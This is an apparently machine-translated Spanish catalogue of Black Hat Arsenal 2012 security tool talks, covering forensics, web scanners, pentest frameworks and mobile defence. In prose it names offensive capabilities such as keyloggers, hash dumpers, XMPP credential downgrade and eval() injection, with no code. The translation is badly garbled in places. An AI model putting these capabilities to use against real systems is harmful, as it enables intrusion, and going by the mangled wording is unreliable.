Al capturar la información forense en tiempo real sobre frustrados ataques de día cero utilizando entornos virtuales para los navegadores y lectores de PDF y la alimentación de esa información al servidor Amenaza de datos Invincea, el paradigma puede pasar de la una de la detección de incumplimiento post-facto y el análisis de la validez de incumplimiento exámenes forenses sobre los motivos y métodos del adversario. La alimentación de esta información en un motor de análisis de datos de alta Dimention que categoriza el malware basado en las características genómicas básicas, Invincea proporciona una capacidad de visualización para la investigación de malware. Una demostración de esta capacidad se puede ver aquí - http://www.invincea.com/2012/06/app...

Presentado por:

Anup Ghosh

iSniff GPS

iSniff GPS inalámbrico realiza pasiva olfateando para identificar iPhones cercanos y iPads.Data dados a conocer por todos los iDevices cuando se conectan a redes Wi-Fi se utiliza para realizar un seguimiento de cada dispositivo, donde ha sido recientemente. ubicaciones recientes de cada dispositivo y otra información se muestra en un mapa actualizado-vivo. Habrá una demostración en vivo en Blackhat Arsenal.

iSniff GPS es una combinación de una aplicación de la herramienta de línea de comandos y la web escrito en Python. Una imagen de Linux VM llave en mano que contiene la herramienta completa lista para funcionar se pondrá a disposición en Blackhat, con el código fuente que se publicará en Github.

Referencias: http://arstechnica.com/apple/2012/0...

Presentado por:

Hubert Seiwert

Kautilya y Nishang

Kautilya es un conjunto de herramientas y el marco que permite el uso de dispositivos de interfaz humana USB en las pruebas de penetración. El kit de herramientas contiene cargas útiles y módulos útiles que podrían ser utilizadas en diferentes etapas de una prueba de penetración. Kautilya se prueba con el dispositivo Teensy ++ pero se podría utilizar con la mayoría de los dispositivos HID. Se ha probado con éxito por irrumpir en Windows 7, Ubuntu11 y Mac OS X Lion.Nishang es un marco y colección de secuencias de comandos y las cargas útiles que permite el uso de PowerShell para la seguridad ofensiva y la explotación posterior. Los guiones son escritos sobre la base del requisito por el autor durante las pruebas de penetración reales. Contiene muchos guiones interesantes como descargar y ejecutar, keylogger, hash de la contraseña dumper, carga útil basada en el tiempo y mucho más.

Presentado por:

Nikhil Mittal

Lime 1.1 Forense

Lime (anteriormente DMD) es dispositivos basados ​​en Linux Kernel un módulo cargable (LKM), que permite la adquisición de la memoria volátil de Linux y, como los que funcionan con Android. La herramienta es compatible con la adquisición de memoria, ya sea para el sistema de archivos del dispositivo o en la red. La cal es único, ya que es la primera herramienta que permite que la memoria completa captura de los dispositivos Android. También minimiza su interacción entre los procesos de espacio de núcleo de usuario y durante la adquisición, que le permite producir capturas de memoria que son más forense de sonido que los de otras herramientas diseñadas para la adquisición de memoria Linux.

Presentado por:

Joe Sylve

MAPA

Con MAPA, aplicaciones empresariales pueden ser envueltos post-desarrollo, lo que no hay código para escribir: sólo apuntar y hacer clic para añadir nuevas características de seguridad para cualquier aplicación. Todo lo que se necesita es el archivo binario de la aplicación (.apk para Android y para iOS de Apple .ipa) para ser cargados en el servidor de mapas Mocana en las instalaciones del centro de datos de la empresa, o de un entorno seguro basado en la nube en el corto futuro. No hay necesidad de tener acceso al código fuente original, sin necesidad de un SDK, y sin necesidad de un agente independiente en el dispositivo.El resultante de defensa propia App ™ a continuación, puede ponerse a disposición a través de cualquier catálogo de aplicaciones o la tienda de aplicaciones privada la empresa opte. Y MAP es totalmente transparente para los usuarios finales, sin necesidad de software del lado del cliente separado o agentes. aplicaciones seguras recién funcionan como los usuarios esperan que lo hagan. MAPA protege los datos corporativos sin comprometer la experiencia del usuario, mientras que las tecnologías alternativas restringen a los usuarios finales una pequeña selección de aplicaciones desconocidas o limitan sus aplicaciones en entornos "protegidos" o máquinas virtuales.

Presentado por:

Jerome Radcliffe

MIRV

MIRV (Incidente vehículo de respuesta de Metasploit) es una nueva herramienta (basado en meterpreter de Metasploit) que fue creado para abordar las deficiencias percibidas en las herramientas de respuesta a incidentes basados ​​en host existentes: no operan en grandes cantidades de nodos, son difíciles de conseguir el cambio pasado consejos asesores que concedan la homologación para el despliegue, no son sigilosos y no tienen la capacidad de ser segura característica de diseño principal de la extended.MIRV están embebidos microagentes Lua para controlar varios eventos de actividad del sistema y la capacidad de actuar en esos eventos mediante la plena flexibilidad y lo más importante - la seguridad de Lua.

También revive la discusión de defensa activa - no sólo las alarmas, pero las trampas: puede utilizar la conexión al defensor del atacante para obtener alguna información sobre el sistema del atacante, o incluso atacar el sistema del atacante? Se presenta un ejemplo basado en servicios de terminales compartidos prestación de disco. características de MIRV también se pueden utilizar para la ofensiva como un rootkit flexible y se dan algunos ejemplos.

Papel: https://docs.google.com/document/d/...

Conexiones de vídeo: http://youtu.be/teMgpW3hAuk

Presentado por:

Konrads Smelkovs

ModSecurity Fuente Abierta WAF

ModSecurity es ya la WAF de mayor despliegue en la existencia protección de millones de sitios web, pero ahora también están anunciando que hemos portado el módulo para las plataformas Microsoft IIS y Nginx. Estos puertos se permite llevar a cabo ModSecurity de forma nativa en los servidores web que desea proteger. Ven a esta demostración para ver las últimas novedades añadidas recientemente a ModSecurity incluyendo cripto / hash protecciones.

Presentado por:

Ryan Barnett

OWASP Aplicaciones Web Roto

El proyecto abierto de seguridad en aplicaciones Web (OWASP) Roto proyecto de aplicaciones Web (www.owaspbwa.org) proporciona una máquina virtual gratuita y de código abierto cargado con aplicaciones web que contienen vulnerabilidades de seguridad. En esta sesión se presentará el proyecto y mostrar la forma en que se puede utilizar para el entrenamiento, pruebas y experimentación por parte de la gente en una variedad de roles.Demonstrations de la nueva versión 1.0 cubrirá cómo el proyecto puede ser utilizado por los probadores de penetración que descubren y explotan Web vulnerabilidades de las aplicaciones, los desarrolladores y otros que previenen y defienden contra los ataques a aplicaciones web, y por individuos que responden a los incidentes de aplicaciones web.

Presentado por:

Chuck Willis

Oyedata para OData evaluaciones

OData es un nuevo protocolo de acceso de datos que está siendo adoptada por muchos principales fabricantes de software como Microsoft, IBM y SAP, pero no ha sido explorado públicamente en términos de seguridad. OData tiene como objetivo proporcionar un mecanismo de acceso consistente para el acceso a datos de una variedad de fuentes, incluyendo pero no limitado a, las bases de datos relacionales, sistemas de archivos, sistemas de gestión de contenidos y sitios web tradicionales. Voy a presentar y la liberación de una nueva herramienta que puede ser usada para evaluar implementaciones OData. características de la herramienta incluyen:

Intuitiva herramienta basada en interfaz gráfica de usuario escrita en C #.

Posibilidad de crear plantillas de ataque de Documentos de servicio locales y remotos y documentos metadatos del servicio.

Capacidad para generar plantillas de ataque para la creación de nuevas entradas, la actualización de las entradas existentes, Operación del Servicio invocación, Entrada eliminación etc ...

Capacidad de exportar las plantillas de ataque en JSON y XML que se pueden alimentar a Fuzzers personalizados.

Soporte para XML y formatos de datos JSON.

Capacidad para contratar los servicios OData para la prueba manual.

generador de datos para la generación de datos de prueba EDMSimpleType.

Capacidad de generar "Leer URI" para las entidades, propiedades de la entidad y la entidad de Propiedad Valores.

Capacidad para identificar Keys, Anulable y propiedades no anulables e indicar el mismo en las plantillas de ataque.

proxy web, HTTP y HTTPS apoyo.

Presentado por:

Gursev Singh Kalra

peepdf

peepdf es una herramienta de Python para explorar los archivos PDF con el fin de averiguar si el archivo puede ser perjudicial o no. El objetivo de esta herramienta es proporcionar a todos los componentes necesarios que un investigador de seguridad podría necesitar en un análisis PDF sin necesidad de utilizar 3 o 4 herramientas para hacer todas las tareas. Está incluido en la Ruta inversa y REMnux.Some de las características peepdf:

Muestra todos los objetos en el documento, destacando los elementos sospechosos y posibles vulnerabilidades.

Es compatible con todos los filtros y codificaciones más utilizadas.

Se puede analizar diferentes versiones de un archivo, arroyos de objetos y documentos encriptados.

Proporciona Javascript y análisis de código shell envoltorios, gracias al Mono Araña y Libemu.

Es capaz de crear nuevos archivos PDF y modificar los existentes que utilizan técnicas de ofuscación.

Es capaz de extraer toda la información fácilmente gracias a su consola interactiva.

Presentado por:

José Miguel Esparza

phpmap

Los intentos de aprovechar la falta de validación de entrada de la función de PHP eval () en aplicaciones web.

Presentado por:

Matt Bergin

Línea roja

Redline es una utilidad gratuita de Mandiant que hace que tanto los experimentados y de nivel de entrada de respuesta de incidentes más rápida y eficiente. El uso de Redline, los respondedores pueden llevar a cabo una investigación guiada versión actualizada systems.The posiblemente comprometida 1.5 de Redline incluye nuevas características y mejoras en las capacidades existentes, incluyendo:

La mejora de las capacidades de análisis

Incluir y la búsqueda de indicadores de Compromiso (COI) y crear un informe de búsqueda detallando cualquier actividad sospechosa que se ajusten a los costos adicionales de explotación.

Al mismo tiempo realizar múltiples tareas como la realización de una investigación durante la búsqueda de las IOC.

Comprobar el progreso de la investigación en cualquier momento a través de "Tareas de fondo" en el menú principal y recibir una notificación cuando una tarea de fondo ha sido programada.

Enhanced Data Collection y Configuración

Configurar y recolectar una gama mucho más amplia de datos sobre el host de destino, tales como registros de eventos y listas de archivos.

Convertir esto en los datos de búsqueda utilizando las nuevas opciones de búsqueda COI.

Especificar un conjunto de IOC antes de la recogida de línea roja y ahora ayudará a adaptar la configuración para proporcionar resultados de búsqueda significativas y asegurar que todos los datos requeridos por el IOC elegido se recoge.

Consulte la información detallada asociada a cada indicador de la hora de elegir qué indicadores para incluir en una búsqueda.

Presentado por:

Lucas Zaichkowsky

registro Decoder

El registro en los sistemas Windows contiene una enorme cantidad de artefactos forenses, incluidas las ejecuciones de aplicaciones, archivos usados ​​recientemente, las contraseñas de aplicación, la actividad del dispositivo extraíble, términos de búsqueda utilizados y más. Existentes herramientas de análisis del registro son poco adecuados para las investigaciones que involucran más de una máquina (o más de un archivo de registro, incluso), ya sea para la adquisición o el análisis del registro. Este problema se exacerba por el volumen ahora estándar del servicio de instantáneas, lo que hace múltiples copias históricas disponibles del Registro de forma predeterminada. Con el fin de realizar investigaciones a gran escala del registro factible, desarrollamos Registro decodificador, una herramienta de código abierto para adquisiciones automatizadas y análisis profundo de los grandes conjuntos de datos del registro de Windows. Registro decodificador incluye una potente función de búsqueda, la actividad línea del tiempo, la extensibilidad basada en complementos, un motor de diferenciación y generación de informes multi-formato. Desde su lanzamiento en Blackhat Vegas Arsenal de 2011, que se ha descargado casi 10.000 veces y ha sido nominado para la herramienta de software forense de la computadora del Año por 4cast Forense. Este año en Blackhat tenemos la intención de liberar Registro Decoder 2.0, que tiene una serie de características nuevas, incluyendo nuevos plugins, una mejor línea del tiempo, y enormes mejoras en el rendimiento.

Presentado por:

Lodovico Marziale

SAP Proxy

El análisis y la ingeniería de tráfico de la red SAP GUI revertir ha sido objeto de numerosos proyectos de investigación en el pasado, y varios métodos han estado disponibles en el pasado para el tráfico DIAG decodificación de SAP. Hasta el lanzamiento de la prueba libre disposición de SensePost de herramientas DIAG concepto de SAP (SAPProx y SApCap) en 2011, la mayoría de los métodos eran complicados y complicada, o no en el domain.SAP pública se utiliza ampliamente y normalmente se almacena la información de una gran sensibilidad a las empresas. Sin embargo, por defecto el protocolo de comunicación puede ser descrito como telnet se encuentra con gzip y proteger la comunicación de red (SNC) no está habilitado en la mayoría de las organizaciones donde se utiliza el SAP GUI. Por otra parte, el protocolo puede ser objeto de abuso con efectos relativamente devastador contra los dos componentes del lado de servidor y cliente.

herramientas de SensePost para la decodificación y análisis de protocolo DIAG SAP ahora se ha perfeccionado para la producción de un preparado, y la plataforma de secuencias de comandos y ofensiva con el apoyo pelusas. Además, el conjunto de herramientas se ha ampliado para incluir el soporte para interceptar y decodificar la comunicación basada en el RFC.

Presented By:

Ian De Villiers

Evaluación Rápida semi-automatizado de iOS

AppStore de Apple sigue creciendo en popularidad, y los dispositivos IOS siguen teniendo una alta percepción de la seguridad de los usuarios y expertos. Sin embargo, las aplicaciones en la AppStore a menudo tienen fallas de seguridad o privacidad que no son evidentes, incluso para los usuarios sofisticados. Los expertos en seguridad pueden encontrar estos defectos a través de pruebas manuales, pero la enormidad de la AppStore asegura que sólo una pequeña minoría de aplicaciones podría nunca ser manualmente tested.This presentación demostrará una nueva herramienta y una metodología para llevar a cabo la evaluación automatizada o semi-automatizada de aplicaciones de iOS y ayudar con las pruebas manuales.

Presentado por:

Justin Engler

Marco pentesting teléfono inteligente

A medida que los teléfonos inteligentes entran en el lugar de trabajo, compartiendo la red y acceder a datos sensibles, es fundamental para poder evaluar la situación de seguridad de estos dispositivos de la misma forma en que realizamos las pruebas de penetración en estaciones de trabajo y servidores. Sin embargo, los teléfonos inteligentes tienen vectores de ataque únicas que no están cubiertos actualmente por la industria de las herramientas disponibles. El marco de pruebas de penetración de teléfonos inteligentes, el resultado de un proyecto de vía rápida DARPA cibernético, tiene como objetivo proporcionar un conjunto de herramientas de código abierto que aborda las múltiples facetas de la evaluación de la posición de seguridad de estos dispositivos. Vamos a ver la funcionalidad de la estructura que incluye la recopilación de información, la explotación, la ingeniería social, y la explotación posterior a través tanto de una red IP tradicional y a través del módem móvil, que muestra cómo este marco puede ser aprovechada por los equipos de seguridad y pruebas de penetración para obtener una comprensión de la posición de seguridad de los teléfonos inteligentes en una organización. También vamos a mostrar cómo utilizar el marco a través de una consola de línea de comandos, una interfaz gráfica de usuario y una aplicación basada en teléfonos inteligentes. se le aparecen manifestaciones del marco de la evaluación de múltiples plataformas de teléfonos inteligentes.

Presentado por:

Georgia Weidman

Tenaz Diggity - Nuevas herramientas de Google Hacking Diggity suite

Todas las marcas nuevas adiciones a la herramienta de Hacking Proyecto Diggity Google - La nueva generación de motores de búsqueda de Hacking Arsenal. Como siempre, todas las herramientas se pueden descargar gratuitamente y use.When última vez que vimos a nuestros héroes, el Diggity Duo había demostrado cómo la piratería motor de búsqueda podría ser utilizado para hacerse cargo de la nube de Amazon de una persona en menos de 30 segundos, construir un perfil de ataque del redes externas del gobierno chino, e incluso descargar todos los documentos de revestimiento de Internet de la organización y la mía ellas para las contraseñas y los secretos. Google y Bing se vieron obligados a abrazar a cabo, ya que sus servicios se combinan a la perfección para identificar cuál de los sitios web más populares en Internet, sin saberlo, estaban siendo utilizados como plataformas de distribución de malware contra sus propios usuarios finales.

Ahora, hemos viajado a través del espacio y el tiempo, mi amigo, para el rock esta casa de nuevo ...

Como era de esperar, el legendario dúo ha trabajado noche y día en el estudio (un apartamento de una habitación sin aire acondicionado) para lograr un completamente nuevo arsenal de herramientas de motor de búsqueda de hacking que está llena de sangre del tigre tanto y increíble salsa, que es prohibido en 6 continentes. Muchas de estas nuevas herramientas Diggity también son alimentadas por el poder de la nube y le proporcionará los datos de la vulnerabilidad más rápido y más fácil que nunca gracias a la comodidad de las aplicaciones móviles. Sólo algunos puntos destacados de las nuevas herramientas que se hará público son:

AlertDiggityDB - Desde hace varios años, hemos recopilado detalles de la vulnerabilidad y divulgaciones de información confidencial de miles de tiempo real canales RSS de configuración para controlar Google, Bing, SHODAN, y varios otros motores de búsqueda. Consolidamos esta información en una sola base de datos, la AlertDiggityDB, formando el mayor repositorio consolidado de vulnerabilidades en directo en Internet. Ahora está disponible para usted.

Diggity tablero de instrumentos - un tablero ejecutivo de todos nuestros datos de vulnerabilidades recogidos de los motores de búsqueda. Personalizar tablas y gráficos para crear vistas a la medida de los datos, que le da el conocimiento necesario para asegurar sus propios sistemas. Este portal web ofrece a los usuarios acceso directo a la versión más actual de la AlertDiggityDB.

Bing hacking de bases de datos (BHDB) 2.0 - Explotación de cambios en la API recientes y características no documentadas dentro de Bing, hemos sido capaces de superar por completo el anterior Bing piratería limitaciones para crear una nueva BHDB que hará que Bing piratería tan eficaz como Google piratería (si no más) para descubrir las vulnerabilidades y las fugas de datos en la web. Esto también incluirá una nueva base de datos de SharePoint Bing Hacking, que contiene cadenas de ataque dirigidos Microsoft SharePoint a través de las implementaciones de Bing.

NotInMyBackYardDiggity - No sea el último en saber si LulzSec o anónimos vertederos de datos de contraseñas mensaje de su empresa en PasteBin.com, o si un imprudentes acciones de los empleados de una hoja de cálculo Excel con todos los datos de sus clientes en un sitio web público. Esta herramienta se aplica tanto el Google y Bing, y viene con las consultas pre-construidos que hacen que sea fácil para los usuarios encontrar las fugas de datos sensibles relacionados con sus organizaciones que existen en los sitios 3 ª parte, como PasteBin, YouTube y Twitter. Destape las fugas de datos en documentos en los sitios de almacenamiento en la nube populares como Dropbox, SkyDrive Microsoft, y Google Docs. A debe tener para las organizaciones que tienen fugas de datos confidenciales en dominios que no controlan o dirigen.

PortScanDiggity - ¿Cómo le gustaría conseguir Google para hacer su exploración de puertos para usted? El uso de la funcionalidad no documentada dentro de Google, hemos sido capaces de convertir Google en una herramienta extremadamente eficaz de escaneo de puertos de red. Puede proporcionar dominios, nombres de host, e incluso rangos de direcciones IP para escanear con el fin de identificar los puertos abiertos que van a través de todos los puertos TCP 65.535. Un beneficio adicional es que este escaneo de puertos es totalmente pasivo - no hay necesidad de comunicarse directamente con redes de destino ya que Google ya ha realizado la digitalización para usted.

ombine Google / Bing piratería y la prevención de pérdida de datos (DLP) de exploración en una escala masiva, hecha posible a través del poder de la computación en la nube. Chuck Norris aprobado.

CodeSearchDiggity-Cloud Edition - Google cerró recientemente la búsqueda del código en favor de centrarse en Google+, poniendo "más madera detrás de un menor número de flechas". Supongo que podríamos haber dejado ir el asunto, y dejar CodeSearchDiggity morir, pero eso sería lo madura que hacer. En su lugar, estamos aprovechando el poder de la nube para mantener vivo el sueño - es decir, la realización de análisis de la seguridad del código fuente de casi todos los proyectos de código fuente abierto solo en la existencia, al mismo tiempo.

BingBinaryMalwareSearch (BBMS) - De acuerdo con el Verizon 2012 DBIR, malware ha sido utilizado para comprometer un asombroso 95% de todos los registros violada para 2011. BBMS permite a los usuarios controlar de forma proactiva hacia abajo y bloquear los sitios distribuir archivos ejecutables de malware en la web. La herramienta aprovecha Bing, que los índices de los archivos ejecutables, para encontrar malware basado en firmas de archivos ejecutables (por ejemplo, "marca de tiempo: Fecha", "Tamaño del Código:" y "Punto de entrada:").

Diggity IDS - Nuevo diseño de sistema de detección de intrusos (IDS) para la piratería informática motor de búsqueda. Seguirá siendo aprovechar la gran cantidad de información proporcionada por los diferentes canales RSS Alerta Diggity, sino que también hará que la fragmentación de datos más detallados y cortar en cubitos posible a través de nuevas y mejoradas herramientas de cliente. También incluye las capacidades de SMS / correo electrónico de alerta solicitados con frecuencia, por lo que es más fácil que nunca para los usuarios llevar un control sobre su exposición vulnerabilidad a través de motores de búsqueda.

Así que venga dispuesto a comprometerse a medida que exploramos estas herramientas y más en este DEMO rica presentación. Usted está cordialmente invitado a montar el relámpago.

Presentado por:

Francisco Castaño

ThreadFix

ThreadFix es un sistema de agregación y gestión de vulnerabilidades de software de código abierto que permite a los equipos de seguridad de software para reducir el tiempo que se necesita para corregir las vulnerabilidades de software. ThreadFix importa los resultados de la prueba dinámica, estática y manual para proporcionar una vista centralizada de los defectos de seguridad de software en equipos y proyectos de desarrollo. El sistema permite a las empresas para correlacionar los resultados de pruebas y racionalizar los esfuerzos de solución de software mediante la simplificación de los piensos para emitir programas rastreadores. Según las reglas de firewall de aplicaciones web de generación de automóviles, este sistema también permite a las empresas para proteger las aplicaciones vulnerables al tiempo que se producen actividades de remediación. ThreadFix permite a los administradores de vulnerabilidad con tendencia informes que demuestran el progreso de software de seguridad con el tiempo.

Presentado por:

Dan Cornell

Vega

Vega es un multi-plataforma basada en GUI, escáner de seguridad web de código libre y abierto que se puede utilizar para encontrar casos de inyección SQL, cross-site scripting (XSS), y otras vulnerabilidades en las aplicaciones web. Vega también incluye un proxy que intercepta para la depuración de aplicaciones web interactivas. Módulos de ataque Vega están escritos en Javascript, los usuarios pueden modificar fácilmente o escribir su propio. El escáner de vulnerabilidades Web Vega se ejecuta en Linux, Windows y OS X.Vega se puede descargar desde nuestro sitio web, http://www.subgraph.com/.

Presentado por:

David Mirza Ahmad

WATOBO - Web Application Toolbox

Haciendo pruebas de penetración manuales en aplicaciones web es mucho tiempo y puede ser muy aburrido o incluso frustrante. Por otra parte, si se utiliza una herramienta automatizada que a menudo no se sabe si o cómo las cosas se han comprobado, porque hay demasiado "Voodoo" bajo el enfoque hood.Each tiene sus ventajas y desventajas, pero la selección de herramientas que se fusionan tanto mundos es muy limitado. En esta presentación voy a introducir WATBO (Web Application Toolbox) que cierra la brecha y combina las ventajas de ambos, el manual y el enfoque automatizado para la evaluación de aplicaciones web. WATOBO funciona como un proxy local y está analizando el tráfico sobre la marcha para obtener información útil y vulnerabilidades. También tiene capacidades de escaneo automatizado, por ejemplo, inyección SQL, XSS-cheques y más. Se puede manejar de One-Time-tokens (también conocidos como anti-CSRF-tokens) y tiene capacidades de gestión de sesiones de gran alcance.

WATOBO está escrito en (FX) Ruby y fue lanzado inicialmente en mayo de 2010 como un proyecto de código abierto en SourceForge ( http://watobo.sourceforge.net/ ).

Presentado por:

Andreas Schmidt

XMPPloit

XMPPloit es una herramienta de línea de comandos para atacar conexiones XMPP, permitiendo al atacante para colocar una puerta de enlace entre el cliente y el servidor y realizar diferentes ataques contra el cliente de la herramienta stream.The explotar las vulnerabilidades de ejecución, en el lado del cliente y del servidor y el protocolo XMPP.

El objetivo principal es que todo el proceso es transparente para el usuario, pero no sustituir cualquier certificado (como ataques HTTPS).

Algunas características son:

Rebajar el mecanismo de autenticación (se puede obtener las credenciales de usuario)

Forzar al cliente a no utilizar una comunicación cifrada

establecer filtros para la manipulación de tráfico

Los filtros que se han implementado en esta versión de Google Talk son:

Leer todos los correos de la cuenta de usuario

Leer y modificar todos los contactos de la cuenta de usuario (sea o no en la lista).

Una versión preliminar fue descrito en mi charla 'XMPP, más de chat' (http://slidesha.re/GWBwMF) presentado en RootedCON 2012 (España).

Presentado por:

Luis Delgado

zCore IPS

La conciencia de ciberespionaje se ha incrementado significativamente con malwares recientes han encontrado, como Stuxnet y Flame, y con el descubrimiento de ataques, como Aurora. Una investigación publicada en DEFCON18 y BHDC mostró que la arquitectura ARM moderna no es inmune a las vulnerabilidades que son populares en la arquitectura X86. smartphones piratería se convirtió en conocimiento común, y nos hemos dado cuenta de que es sólo cuestión de tiempo hasta que veremos la próxima Aurora en Smartphones. La piratería de su ordenador se ha convertido en más difícil con el tiempo y varias versiones por lo que los atacantes buscan adicionales puntos de entrada a su organización y su teléfono inteligente, con características como acceso VPN ser el blanco perfecto! Vamos a pasar por los ataques modernos de nivel gubernamental en los teléfonos inteligentes y probará que el mismo teléfono inteligente que usted está llevando con usted hoy puede actuar como una máquina de espionaje que revelará todos sus secretos y datos a sus enemigos.

El siguiente paso de los atacantes será encontrar un camino en su red interna o de otro tipo, personas clave en su organización, utilizando el mismo proceso de infección. Los teléfonos inteligentes piratería ha aumentado de manera significativa a medida que más investigado han adoptado esta nueva tecnología. Vamos a cubrir los ataques y amenazas recientes que se están descubriendo todos los días que nos pone en riesgo!

Vamos a mostrar y demostrar varios tipos de ataque que se están utilizando hoy en contra de los dispositivos de destino y cómo estamos impedir que esos ataques utilizando zCore IPS, nuestra solución integral móvil a IPS. Esta solución ha sido construido especialmente para teléfonos inteligentes con zMitigaion ™, una tecnología altamente eficaz para la protección ofrecida a 0 días los que la cara objetivo y los ataques de nivel gubernamental en los teléfonos inteligentes.

Presentado por:

Itzhak (Zuk) Avraham